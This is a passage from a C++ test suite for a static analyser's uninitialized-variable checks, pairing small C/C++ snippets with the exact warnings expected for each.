ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char c);\\n\" // const value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char *c);\\n\" // address => no error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(pstr s);\\n\" // address => no error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(const char *c);\\n\" // const address => data is not changed\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(&c);\\n\" // <- no warning\n \" c++;\\n\" // <- uninitialized variable\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Uninitialized variable: c\\n\", \"\", errout_str());\n\n // pointer variable\n checkUninitVar(\"void a(char c);\\n\" // value => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(*c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n\n checkUninitVar(\"void a(char *c);\\n\" // address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"typedef struct { int a; int b; } AB;\\n\"\n \"void a(AB *ab);\\n\"\n \"void b() {\\n\"\n \" AB *ab;\\n\"\n \" a(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char *c);\\n\" // const address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(const char c[]);\\n\" // const address => error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char **c);\\n\" // address of pointer => no error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(char *c);\\n\" // address of pointer (suspicious cast to pointer) => no error\n \"void b() {\\n\"\n \" char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void a(const char **c);\\n\" // const address of pointer => no error\n \"void b() {\\n\"\n \" const char *c;\\n\"\n \" a(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // array\n checkUninitVar(\"int calc(const int *p, int n);\\n\"\n \"void f() {\\n\"\n \" int x[10];\\n\"\n \" calc(x,10);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\",\n \"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x[10];\\n\"\n \" int &x0(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ....\n checkUninitVar(\"struct ABC { int a; };\\n\" // struct initialization\n \"void clear(struct ABC &abc);\\n\"\n \"int f() {\\n\"\n \" struct ABC abc;\\n\"\n \" clear(abc);\\n\"\n \" return abc.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" time_t now0;\\n\"\n \" time(&now0);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" time_t* now0;\\n\"\n \" time(now0);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Uninitialized variable: now0 [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void write_packet() {\\n\"\n \" char now0;\\n\"\n \" strcmp(&now0, sth);\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:13]: (error) Uninitialized variable: now0 [legacyUninitvar]\\n\", errout_str());\n\n // #2775 - uninitialized struct pointer in subfunction\n // extracttests.start: struct Fred {int x;};\n checkUninitVar(\"void a(struct Fred *fred) {\\n\"\n \" fred->x = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred *p;\\n\"\n \" a(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // #2946 - FP array is initialized in subfunction\n checkUninitVar(\"void a(char *buf) {\\n\"\n \" buf[0] = 0;\\n\"\n \"}\\n\"\n \"void b() {\\n\"\n \" char buf[10];\\n\"\n \" a(buf);\\n\"\n \" buf[1] = buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown macro\n checkUninitVar(\"void f() {\\n\"\n \" struct listnode *item;\\n\"\n \" list_for_each(item, &key_list) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar2_value() {\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) {\\n\"\n \" y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" else y = get_value(i);\\n\"\n \" if (y != 0) return;\\n\" // <- condition is always true if i is uninitialized\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" if (x) y = do_something();\\n\"\n \" if (!x) return 0;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int y;\n checkUninitVar(\"int f(int x) {\\n\" // FP with ?:\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return x ? 2*a : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return y ? 2*a : 3*a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(checkUninitVar(\"void f() {\\n\" // Don't crash\n \" int a;\\n\"\n \" dostuff(\\\"ab\\\" cd \\\"ef\\\", x?a:z);\\n\" // <- No AST is created for ?\n \"}\"), UNKNOWN_MACRO);\n\n // Unknown => bail out..\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (a(x)) i = 0;\\n\"\n \" if (b(x)) return;\\n\"\n \" i++;\\n\" // <- no error if b(x) is always true when a(x) is false\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" if (x) i++;\\n\" // <- no error\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n#define valueFlowUninit(...) valueFlowUninit_(__FILE__, __LINE__, __VA_ARGS__)\n void valueFlowUninit2_value()\n {\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) {\\n\"\n \" y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" if (y != 0) return;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, y;\\n\"\n \" if (x) y = -ENOMEM;\\n\" // assume constant ENOMEM is nonzero since it's negated\n \" else y = get_value(i);\\n\"\n \" if (y != 0) return;\\n\" // <- condition is always true if i is uninitialized\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:4:15]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" if (!x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (!x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:14]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) { }\\n\"\n \" else i = 0;\\n\"\n \" if (x || i>0) {}\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" if (x) y = do_something();\\n\"\n \" if (!x) return 0;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int y;\n valueFlowUninit(\"int f(int x) {\\n\" // FP with ?:\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return x ? 2*a : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x)\\n\"\n \" a = y;\\n\"\n \" return y ? 2*a : 3*a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:18]: (warning) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(valueFlowUninit(\"void f() {\\n\" // Don't crash\n \" int a;\\n\"\n \" dostuff(\\\"ab\\\" cd \\\"ef\\\", x?a:z);\\n\" // <- No AST is created for ?\n \"}\"), UNKNOWN_MACRO);\n\n // Unknown => bail out..\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (a(x)) i = 0;\\n\"\n \" if (b(x)) return;\\n\"\n \" i++;\\n\" // <- no error if b(x) is always true when a(x) is false\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" if (x) i++;\\n\" // <- no error\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int i;\\n\"\n \" if (x) i = 0;\\n\"\n \" while (condition) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n valueFlowUninit(\"void f ( void ){\\n\" // #9313 - FN\n \" int *p;\\n\"\n \" int a[ 2 ] = { [ 0 ] = *p++, [ 1 ] = 1 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int height) {\\n\"\n \" int a[11];\\n\"\n \" int *p = a;\\n\"\n \" int step = 2;\\n\"\n \" for (int i = 0; i < (height * step); i += step)\\n\"\n \" *p++ = 0;\\n\"\n \" for (int i = 0; i < height; i++)\\n\"\n \" if (a[i]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" char *c;\\n\"\n \" char x;\\n\"\n \" while (true) {\\n\"\n \" c = &x;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++c;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12030\n valueFlowUninit(\"int set(int *x);\\n\"\n \"void foo(bool a) {\\n\"\n \" bool flag{0};\\n\"\n \" int x;\\n\"\n \" if (!a) {\\n\"\n \" flag = set(&x);\\n\"\n \" }\\n\"\n \" if (!flag || x==3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int set(int *x);\\n\"\n \"void foo(bool a) {\\n\"\n \" bool flag{0};\\n\"\n \" int x;\\n\"\n \" if (!a) {\\n\"\n \" flag = set(&x);\\n\"\n \" }\\n\"\n \" if (!flag && x==3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:8:18]: (warning) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int do_something();\\n\" // #11983\n \"int set_st(int *x);\\n\"\n \"int bar();\\n\"\n \"void foo() {\\n\"\n \" int x, y;\\n\"\n \" int status = 1;\\n\"\n \" if (bar() == 1) {\\n\"\n \" status = 0;\\n\"\n \" }\\n\"\n \" if (status == 1) {\\n\"\n \" status = set_st(&x);\\n\"\n \" }\\n\"\n \" for (int i = 0; status == 1 && i < x; i++) {\\n\"\n \" if (do_something() == 0) {\\n\"\n \" status = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(status == 1 && x > 0){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int h(bool, bool*);\\n\" // #11760\n \"int f(bool t) {\\n\"\n \" int i = 0;\\n\"\n \" bool b;\\n\"\n \" if (t)\\n\"\n \" g();\\n\"\n \" if (i == 0)\\n\"\n \" i = h(t, &b);\\n\"\n \" if (i == 0 && b)\\n\"\n \" i = h(t, &b);\\n\"\n \" if (i == 0 && b)\\n\"\n \" i = h(t, &b);\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninit_uninitvar2()\n {\n // using uninit var\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // extracttests.start: char str[10];\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" str[x] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #7736\n \" int buf[12];\\n\"\n \" printf (\\\"%d\\\", buf[0] );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: buf [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = x & 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = 3 & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 3 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // extracttests.start: struct ABC {int a;};\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" abc->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: abc [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" static int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" extern int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #3926 - weird cast.\n \" int x;\\n\"\n \" *(((char *)&x) + 0) = 0;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4737 - weird cast.\n \" int x;\\n\"\n \" do_something(&((char*)&x)[0], 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" char *p = (char*)&x + 1;\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" i=f(), i!=2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // using uninit var in condition\n valueFlowUninit(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" if (x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (1 == (3 & x)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // ?:\n valueFlowUninit(\"int f(int *ptr) {\\n\"\n \" int a;\\n\"\n \" int *p = ptr ? ptr : &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a==3) { x=2; }\\n\"\n \" y = (a==3) ? x : a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = ({ .. })\n valueFlowUninit(\"void f() {\\n\"\n \" int x = ({ 1 + 2; });\\n\"\n \" int y = 1 + (x ? y : y);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", \"\", errout_str());\n\n // >> => initialization / usage\n {\n const char code[] = \"void f() {\\n\"\n \" int x;\\n\"\n \" if (i >> x) { }\\n\"\n \"}\";\n valueFlowUninit(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(code, false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n }\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i, i2;\\n\"\n \" strm >> i >> i2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unconditional initialization\n valueFlowUninit(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { {} ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { s=foo(1,{2,3},4); ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // conditional initialization\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" if (y == 3) { }\\n\" // <- ignore condition\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", \"\", errout_str());\n\n // initialization in condition\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (init(&a)) { }\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return, break, continue, goto\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int x) {\\n\"\n \" int ret;\\n\"\n \" if (!x) {\\n\"\n \" ret = -123;\\n\"\n \" goto out1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"out1:\\n\"\n \"out2:\\n\"\n \" return ret;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" i = 1;\\n\"\n \" } else {\\n\"\n \" goto out;\\n\"\n \" }\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int i,x;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f() {\\n\"\n \" int x;\\n\"\n \" while (foo)\\n\"\n \" if (bar) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // try/catch : don't warn about exception variable\n valueFlowUninit(\"void f() {\\n\"\n \" try {\\n\"\n \" } catch (CException* e) {\\n\"\n \" trace();\\n\"\n \" e->Delete();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #5347\n \" try {\\n\"\n \" } catch (const char* e) {\\n\"\n \" A a = e;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // exit\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { exit(0); }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strange code.. don't crash (#3415)\n valueFlowUninit(\"void foo() {\\n\"\n \" int i;\\n\"\n \" ({ if (0); });\\n\"\n \" for_each(i) { }\\n\"\n \"}\",\n false);\n\n // if, if\n valueFlowUninit(\"void f(int a) {\\n\"\n \" int i;\\n\"\n \" if (a) i = 0;\\n\"\n \" if (a) i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a,b=0;\\n\"\n \" if (x) {\\n\"\n \" if (y) {\\n\"\n \" a = 0;\\n\"\n \" b = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (b) a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (x) { }\\n\"\n \" else { if (y==2) { a=1; b=2; } }\\n\"\n \" if (a) { ++b; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0) { a = y; }\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (something) { a = dostuff(&b); }\\n\"\n \" if (!a || b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { } else { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" if (x) ab = getAB();\\n\"\n \" else ab.a = 0;\\n\"\n \" if (ab.a == 1) b = ab.b;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(void) {\\n\"\n \" int a;\\n\"\n \" int i;\\n\"\n \" if (x) { noreturn(); }\\n\"\n \" else { i = 0; }\\n\"\n \" if (i==1) { a = 0; }\\n\"\n \" else { a = 1; }\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #4560\n \" int x = 0, y;\\n\"\n \" if (a) x = 1;\\n\"\n \" else return 0;\\n\"\n \" if (x) y = 123;\\n\" // <- y is always initialized\n \" else {}\\n\"\n \" return y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:9] -> [test.cpp:7:12]: (warning) Uninitialized variable: y [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #6583\n \" int x;\\n\"\n \" if (a < 2) exit(1);\\n\"\n \" else if (a == 2) x = 0;\\n\"\n \" else exit(2);\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int a) {\\n\" // #4560\n \" int x = 1, y;\\n\"\n \" if (a) x = 0;\\n\"\n \" else return 0;\\n\"\n \" if (x) {}\\n\"\n \" else y = 123;\\n\" // <- y is always initialized\n \" return y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:9] -> [test.cpp:7:12]: (warning) Uninitialized variable: y [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\" // #3948\n \" int value;\\n\"\n \" if (x !=-1)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == -1 || value > 300) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"enum t_err { 